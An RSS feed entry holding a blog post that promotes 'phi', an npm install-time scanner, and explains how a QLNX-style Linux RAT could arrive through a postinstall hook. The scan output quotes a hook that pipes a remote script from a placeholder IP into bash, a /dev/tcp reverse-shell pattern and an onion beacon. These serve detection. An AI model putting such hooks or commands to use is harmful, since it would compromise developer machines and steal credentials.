<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Prosper Maxwell</title>
    <description>The latest articles on DEV Community by Prosper Maxwell (@prozymax901).</description>
    <link>https://dev.to/prozymax901</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4004293%2Ffb4b7d53-f5be-44c8-b1b7-83701d19c0b8.jpg</url>
      <title>DEV Community: Prosper Maxwell</title>
      <link>https://dev.to/prozymax901</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/prozymax901"/>
    <language>en</language>
    <item>
      <title>A Linux RAT in your npm install: what phi sees before it runs</title>
      <dc:creator>Prosper Maxwell</dc:creator>
      <pubDate>Tue, 30 Jun 2026 13:00:00 +0000</pubDate>
      <link>https://dev.to/prozymax901/a-linux-rat-in-your-npm-install-what-phi-sees-before-it-runs-oob</link>
      <guid>https://dev.to/prozymax901/a-linux-rat-in-your-npm-install-what-phi-sees-before-it-runs-oob</guid>
      <description>&lt;p&gt;Most supply-chain tools scan your dependencies after they're already sitting on&lt;br&gt;
disk. By that point the postinstall hook has run. With a remote-access trojan,&lt;br&gt;
that timing is the whole game. Once the code executes, persistence is set, and&lt;br&gt;
you've gone from preventing an incident to cleaning one up.&lt;/p&gt;

&lt;p&gt;QLNX is a sharp example of the class. These are Linux RATs built for developer&lt;br&gt;
machines, and they stop being subtle the moment they land. You get PAM module&lt;br&gt;
injection to backdoor authentication, eBPF loading for kernel-level hiding,&lt;br&gt;
LD_PRELOAD rootkits so every process on the box quietly loads the attacker's&lt;br&gt;
shared object, and a reverse shell calling home to a hidden service. The public&lt;br&gt;
analysis counted 58 separate remote commands across the toolchain. Why go to all&lt;br&gt;
that trouble for a developer box? Because that's where the npm tokens, AWS keys,&lt;br&gt;
and CI/CD credentials live.&lt;/p&gt;

&lt;p&gt;Trend Micro never confirmed how QLNX actually reaches a host, but npm is one&lt;br&gt;
clean way to deliver this kind of payload. You publish a believable native&lt;br&gt;
package, something like &lt;code&gt;acme-native-fetch&lt;/code&gt; ("fast native HTTP bindings with TLS&lt;br&gt;
session caching"), tuck the loader into a postinstall hook, and wait. The second&lt;br&gt;
someone runs &lt;code&gt;npm install&lt;/code&gt;, the hook fires with that user's privileges, pulls&lt;br&gt;
stage two, and gets to work. No exploit required. The install is the exploit.&lt;/p&gt;
&lt;h2&gt;
  
  
  What phi does differently
&lt;/h2&gt;

&lt;p&gt;phi sits in front of npm and reads the tarball before anything gets written to&lt;br&gt;
&lt;code&gt;node_modules&lt;/code&gt;. The detail that matters for RATs is that lifecycle scripts are&lt;br&gt;
off by default. The postinstall hook never gets a turn, because phi has already&lt;br&gt;
read it, scored it, and refused the install.&lt;/p&gt;

&lt;p&gt;Here's the analyzer running against a faithful reconstruction of a QLNX-style&lt;br&gt;
package. It's a regression fixture, since the real thing isn't something you want&lt;br&gt;
anywhere near your disk.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;acme-native-fetch@2.4.1  files=2  score=100  verdict=BLOCKED
  - [HIGH] Network Exfiltration — http://example-c2.onion
  - [CRITICAL] Reverse Shell — /dev/tcp/
  - [CRITICAL] Linux System Tampering — finit_module(
  - [CRITICAL] Install Script Abuse — postinstall: curl -s http://203.0.113.10/stage2.sh | bash

  BLOCKED — refusing to write acme-native-fetch@2.4.1 to node_modules.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Four of phi's 13 detectors fire here, and each one catches a different link in&lt;br&gt;
the chain:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Install Script Abuse&lt;/strong&gt; spots the postinstall hook piping a remote script
straight into a shell. That's the delivery mechanism itself.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Linux System Tampering&lt;/strong&gt; flags the kernel-module load (&lt;code&gt;finit_module&lt;/code&gt;) and
the write to &lt;code&gt;/etc/ld.so.preload&lt;/code&gt;. You basically never see these in a
legitimate Node package, and once you add the install-script and C2 signals on
top, false positives on this class are rare.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reverse Shell&lt;/strong&gt; catches the &lt;code&gt;/dev/tcp/&lt;/code&gt; redirect that opens the channel back
to the operator.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Network Exfiltration&lt;/strong&gt; matches the &lt;code&gt;.onion&lt;/code&gt; beacon the implant uses to
register itself.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every one of those is CRITICAL or HIGH. phi's scorer adds them up, caps the total&lt;br&gt;
at 100, and the block threshold of 60 gets crossed several times over. Final&lt;br&gt;
score 100 out of 100, verdict BLOCKED. The package never lands on disk, and none&lt;br&gt;
of those 58 remote commands ever get to run.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why "at install time" is the whole point
&lt;/h2&gt;

&lt;p&gt;You could catch all of this at runtime with an EDR agent, a syscall sandbox, or a&lt;br&gt;
container policy. Those are good layers and you should run them. The catch is that&lt;br&gt;
they only kick in once the code is already executing. phi makes the call earlier.&lt;br&gt;
It reads static signals out of the source at install time, before anything runs.&lt;br&gt;
For a RAT whose first move is to dig in and establish persistence, the gap&lt;br&gt;
between "on disk" and "running" is the only window that counts, and that's the&lt;br&gt;
window phi closes.&lt;/p&gt;

&lt;p&gt;It won't catch everything. A genuinely novel technique that matches no detector&lt;br&gt;
will slip through until we write one for it, and phi is one layer in a&lt;br&gt;
defense-in-depth setup, not a replacement for runtime controls. But the specific&lt;br&gt;
pattern of a RAT delivered through a postinstall hook is common, it's&lt;br&gt;
devastating, and it's exactly what phi is built to stop.&lt;/p&gt;

&lt;p&gt;phi is free and open source. If you install npm packages on a machine that has&lt;br&gt;
anything worth stealing on it, it's worth two minutes of your time:&lt;br&gt;
&lt;a href="https://phi.philtechs.org" rel="noopener noreferrer"&gt;https://phi.philtechs.org&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;The terminal output above is phi's real analyzer, scorer, and renderer, run&lt;br&gt;
against a reconstructed QLNX-style fixture. It's the same engine that runs on&lt;br&gt;
every phi install, pointed at a payload built to match the public reporting. The&lt;br&gt;
package name is invented, the IP and onion addresses are non-routable&lt;br&gt;
documentation placeholders, and nothing shown here is a live npm package.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>npm</category>
      <category>security</category>
      <category>devops</category>
      <category>node</category>
    </item>
  </channel>
</rss>
